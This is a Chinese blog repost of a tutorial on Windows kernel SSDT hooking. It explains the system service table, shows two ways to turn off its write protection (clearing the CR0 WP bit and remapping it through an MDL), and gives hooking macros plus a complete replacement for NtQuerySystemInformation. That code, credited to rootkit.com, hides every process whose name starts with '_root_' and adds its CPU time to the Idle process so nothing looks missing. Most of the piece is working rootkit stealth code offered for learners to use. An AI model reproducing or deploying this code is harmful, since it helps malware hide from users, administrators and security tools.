S.l.e!ep.¢%

像打了激速一样,以四倍的速度运转,开心的工作
简单、开放、平等的公司文化;尊重个性、自由与个人价值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理

Using SSDT HOOK To Hide Processes

Posted on 2009-10-17 12:16 S.l.e!ep.¢% 阅读(316) 评论(0)  编辑 收藏 引用 所属分类: Windows WDM
Using SSDT HOOK To Hide Processes
2009-06-05 21:11
原文出处:http://bbs.tian6.com/redirect.php?tid=12021&goto=lastpost


前言:
这只是一篇类似于教学性的paper,在本文中阐述了一些SSDT HOOK的基本原理与实现方法,方法并不高深也不新颖,只是方便如同我一般的小菜们能够了解SSDT HOOK的概念,并通过一个小程序实现ring0下SSDT HOOK来隐藏特定进程。大牛请飘过。

什么是SSDT?
SSDT(System Service Dispatch Table)系统服务描述符表,它用来查询处理系统调用的特定函数。也就是说,这个表把ring3下UserMode的Win32 API同ring0下Kernel API相联系。

SSDT HOOK 有什么用?
通过修改SSDT中的函数入口地址来HOOK SSDT中的函数,你可以过滤掉你所关心的特定结果,从而欺骗操作系统。比如,你可以隐藏特定的进程,隐藏文件,隐藏端口等等。


下面让我们正式进入到SSDT   HOOK的探索旅程中吧!
我首先会阐述一些关于SSDT的基本概念,然后介绍了SSDT工作的原理,再次介绍如何绕过内存的写保护来修改SSDT,最后通过一个简单的例子来介绍如何使用SSDT HOOK来隐藏进程。

SSDT的基本概念
SSDT通过索引系统调用号来查找在内存中的函数地址。而另一个被称为SSPT(System Service Parameter Table)系统服务参数表,它则指定了每一个系统服务的函数参数的字节数。
KeServiceDescriptorTable是一个内核的导出表,这个表中包含一个指向部分SSDT的指针。而SSDT中则包含着内核的主要部 分,Ntoskrnl.exe中的核心系统服务的实现。KeServiceDescriptorTable当然也包含一个指向SSPT的指针。
SSDT中包含着每一个内核导出函数的地址,每个地址是4字节长。SSPT中每个元素则是1字节长,而且用16进制来表示SSDT中指定函数的参数长度。在下图中,在地址0x804AB3BF的函数,它的参数长度是0x18。

当调用一个指定的函数时,KiSystemService只是简单的用目标函数的ID号乘以4,来得到SSDT中的偏移地址。KeServiceDescriptorTable中包含着服务的数目,这个值可以用来找到SSDT或者SSPT中的最大偏移。
当调用INT 2E或者SYSENTER指令时,将会触发系统服务。这将使得进程进入到Kernel Mode,也就是所说的ring0。应用程序能够直接触发system service dispatcher,KiSystemService,或者通过使用子系统来触发。如果使用的是子系统的话(比如Win32),那么它将进入到 Ntdll.dll,然后把请求的系统函数索引号或者系统服务标志符装入到EAX中,再把函数参数的地址装入到EDX中。然后system service dispatcher将会核查参数,把它们从用户栈复制到内核栈。它然后调用通过EAX中系统服务标志符来指定的SSDT中索引的函数。
一旦你的应用程序被作为一个驱动程序加载,它就能够改变SSDT中指向的函数变为你自己的函数,而不是Ntoskrnl.exe 或者Win32k.sys中的函数。当一个非内核的程序进入到内核时,它的请求被system service dispatcher处理,并且你的程序的函数将被调用。基于这一点,你就可以有效地隐藏自己的程序,包括它所使用的资源,返回一个虚假的信息给应用程 序。


改写SSDT内存保护

Windows系统对部分内存起用了写保护,来防止内存页被修改,比如Windows XP和Windows 2003。它们使得SSDT变成只读的表,以此来防止任何应用程序来修改这个表。
写保护操作给你的应用程序提出了一个挑战,它使得你想HOOK某些系统调用来过滤返回信息变得困难起来。如果你试图去对一个只读的内存进行操作,那么你将会遇到BSoD,也就是经典的蓝屏死机的问题。
有两个方法可以绕过写保护,一种是修改控制寄存器CR0中的写保护位来绕过,另一种是利用Memory Descriptor List (MDL)来绕过写保护。

先说第一种方法,第一种方法比较简单,也就是只要把CR0中的WP(写保护)位设置为0,就可以禁止内存保护。

据说修改MDL才是正规的做法

// 取消内存保护
   __asm
   {
         push eax
         mov   eax, CR0
         and   eax, 0FFFEFFFFh
         mov   CR0, eax
         pop   eax
   }
// 重新起用内存保护
   __asm
   {
         push eax
         mov   eax, CR0
         or eax, NOT 0FFFEFFFFh
         mov   CR0, eax
         pop   eax
   }

第二种方法是利用MDL,这个方法在Microsoft的文档中讲得很详细了。
你可以在MDL中描述一段内存,包括内存段的起始位置,所拥有的进程,字节数,内存段的标志等等。

// MDL references defined in ntddk.h
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags;
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;

// MDL Flags
#define MDL_MAPPED_TO_SYSTEM_VA     0x0001
#define MDL_PAGES_LOCKED          0x0002
#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
#define MDL_ALLOCATED_FIXED_SIZE 0x0008
#define MDL_PARTIAL                 0x0010
#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
#define MDL_IO_PAGE_READ          0x0040
#define MDL_WRITE_OPERATION       0x0080
#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
#define MDL_LOCK_HELD             0x0200
#define MDL_PHYSICAL_VIEW           0x0400
#define MDL_IO_SPACE             0x0800
#define MDL_NETWORK_HEADER       0x1000
#define MDL_MAPPING_CAN_FAIL        0x2000
#define MDL_ALLOCATED_MUST_SUCCEED   0x4000

为了改变内存的标志,下面的代码首先声明一个结构体,用来保存从Windows内核中导出的KeServiceDescriptorTable。当你调用 MmCreateMdl时,你需要知道KeServiceDescriptorTable的基址和它所拥有的函数入口的数量。这个函数定义了你想要MDL 描述的内存段的起始地址和大小。然后你的应用程序在内存的非页池中创建MDL。
你的应用程序可以通过改变MDL的标志来使得你可以写内存段,也就是把MDL flag设置为MDL_MAPPED_TO_SYSTEM_VA。然后调用MmMapLockedPages来锁定内存中的MDL页。
现在,你可以准备HOOKING SSDT了,在下面的代码中,MappedSystemCallTable中的地址同SSDT的内容相一致,但是,现在你可以修改它了。

// 声明
#pragma pack(1)

typedef struct ServiceDescriptorEntry {
       unsigned int *ServiceTableBase;
       unsigned int *ServiceCounterTableBase;
       unsigned int NumberOfServices;
       unsigned char *ParamTableBase;
} SSDT_Entry;

#pragma pack()
__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;

PMDL   g_pmdlSystemCall;
PVOID *MappedSystemCallTable;

// 保存原始的系统调用地址,映射到我们的域中,来改变MDL的保护
g_pmdlSystemCall = MmCreateMdl(NULL,
               KeServiceDescriptorTable.ServiceTableBase,
               KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// 改变MDL的标志
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
                            MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

HOOKING SSDT

下面列出了几个对HOOKING SSDT比较有用的宏。

#define SYSTEMSERVICE(_func) \
   KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]

#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)

#define HOOK_SYSCALL(_Function, _Hook, _Orig )    \
       _Orig = (PVOID) InterlockedExchange( (PLONG) \
       &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK_SYSCALL(_Func, _Hook, _Orig )   \
       InterlockedExchange((PLONG)           \
       &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)

SYSTEMSERVICE宏的参数(姑且称为参数吧)是ntoskrnl.exe导出的函数地址,是一个Zw* 型的函数,返回一个在SSDT表中Nt*型的函数地址。
SYSCALL_INDEX宏的参数是Zw*型的函数的地址,返回一个在SSDT中相一致的索引号。
HOOK_SYSCALL 和 UNHOOK_SYSCALL宏则是把Zw*型的被HOOK的函数地址同_Hook函数地址在SSDT中自动交换。
这几个宏将会在下面的例子中非常有用。

例子:使用SSDT HOOK来隐藏进程

   Windows操作系统使用ZwQuerySystemInformation函数来查询许多不同的操作系统信息。比如,任务管理器 Taskmgr.exe,就是使用这个函数来获得系统的进程列表。返回的信息则是依靠SystemInformationClass来决定的。比如,在这 个例子中,我们想要获得系统的进程信息,我们需要把SystemInformationClass设置为5。更多详细的信息,请参阅Microsoft Windows DDK。
一旦你的程序在SSDT中替换了NtQuerySystemInformation,你的HOOK程序就能调用原始的系统调用,并且过滤掉敏感信息。
在SystemInformationClass buffer中,包含着_SYSTEM_PROCESSES结构体和与其相对应的_SYSTEM_THREADS结构体。在 _SYSTEM_PROCESSES中,进程名是UNICODE_STRING的。两个LARGE_INTEGER则是进程的user和kernel的时 间。当你的程序隐藏一个进程的时候,你的程序应该把这个进程的执行开销所花费的时间加到列表中的其它进程中,以保证CPU的总的时间是100%。
下面的是ZwQuerySystemInformation所返回的进程和线程的结构体。


struct _SYSTEM_THREADS
{
       LARGE_INTEGER           KernelTime;
       LARGE_INTEGER           UserTime;
       LARGE_INTEGER           CreateTime;
       ULONG                WaitTime;
       PVOID                StartAddress;
       CLIENT_ID             ClientIs;
       KPRIORITY             Priority;
       KPRIORITY             BasePriority;
       ULONG                ContextSwitchCount;
       ULONG                ThreadState;
       KWAIT_REASON          WaitReason;
};

struct _SYSTEM_PROCESSES
{
       ULONG                NextEntryDelta;
       ULONG                ThreadCount;
       ULONG                Reserved[6];
       LARGE_INTEGER           CreateTime;
       LARGE_INTEGER           UserTime;
       LARGE_INTEGER           KernelTime;
       UNICODE_STRING       ProcessName;
       KPRIORITY             BasePriority;
       ULONG                ProcessId;
       ULONG                InheritedFromProcessId;
       ULONG                HandleCount;
       ULONG                Reserved2[2];
       VM_COUNTERS          VmCounters;
       IO_COUNTERS          IoCounters;        //windows 2000 only
       struct _SYSTEM_THREADS   Threads[1];
};


下面的NewZwQuerySystemInformation将会过滤掉所有以“"_root_”打头的进程名,并且把它们的运行开销加到Idle的进程中,也就是加到系统空闲进程中。


///////////////////////////////////////////////////////////////////////
// NewZwQuerySystemInformation 函数
// ZwQuerySystemInformation() 返回一个进程的链表
// 下面的函数将会去掉所有以“_root_”打头的进程
NTSTATUS NewZwQuerySystemInformation(
         IN ULONG SystemInformationClass,
         IN PVOID SystemInformation,
         IN ULONG SystemInformationLength,
         OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))
                                        (SystemInformationClass,
                                        SystemInformation,
                                        SystemInformationLength,
                                        ReturnLength);
if( NT_SUCCESS(ntStatus))
{
   if(SystemInformationClass == 5)
   {
       // 查询进程的链表,并且去掉以“_root_”打头的进程
      struct _SYSTEM_PROCESSES *curr =
            (struct _SYSTEM_PROCESSES *) SystemInformation;
       struct _SYSTEM_PROCESSES *prev = NULL;
       while(curr)
       {
      //DbgPrint("Current item is %x\n", curr);
      if (curr->ProcessName.Buffer != NULL)
      {
         if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
         {
            m_UserTime.QuadPart += curr->UserTime.QuadPart;
            m_KernelTime.QuadPart +=
                                 curr->KernelTime.QuadPart;
            if(prev)    // 链表的第二个节点到最后一个节点的处理
            {
               if(curr->NextEntryDelta)
                  prev->NextEntryDelta +=
                                        curr->NextEntryDelta;
               else    // 最后一个节点
                  prev->NextEntryDelta = 0;
            }
            else
            {
               if(curr->NextEntryDelta)
               {
                  // 链表的第一个节点,向后移动指针
                  (char*)SystemInformation +=
                                    curr->NextEntryDelta;
               }
               else       // 只有一个节点
                  SystemInformation = NULL;
            }
         }
      }
      else             // Idle进程的入口
      {
         // 把 _root_*进程开销加到Idle的进程中去
         curr->UserTime.QuadPart += m_UserTime.QuadPart;
         curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
         // 为我们下次过滤的时候重置
         m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
      }
      prev = curr;
          if(curr->NextEntryDelta)((char*)curr+=
                                     curr->NextEntryDelta);
         else curr = NULL;
   }
   }
    else if (SystemInformationClass == 8)
    {
      // 查询系统进程开销
      struct _SYSTEM_PROCESSOR_TIMES * times =
          (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
      times->IdleTime.QuadPart += m_UserTime.QuadPart +
                                    m_KernelTime.QuadPart;
   }
}
return ntStatus;
}


注:以上代码来源于www.rootkit.com,完整代码下载地址为:http://www.rootkit.com/vault/fuzen_op/HideProcessHookMDL.zip

现在你的程序可以把进程中所有以“_root_”打头的进程都隐藏起来了,当然你可以更改隐藏的进程名。
通过上述的例子,你可以明白HOOK的好处了吧,当然在SSDT中还有许多值得我们HOOK的函数,展开你的想象吧,没有做不到,只有想不到!

只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理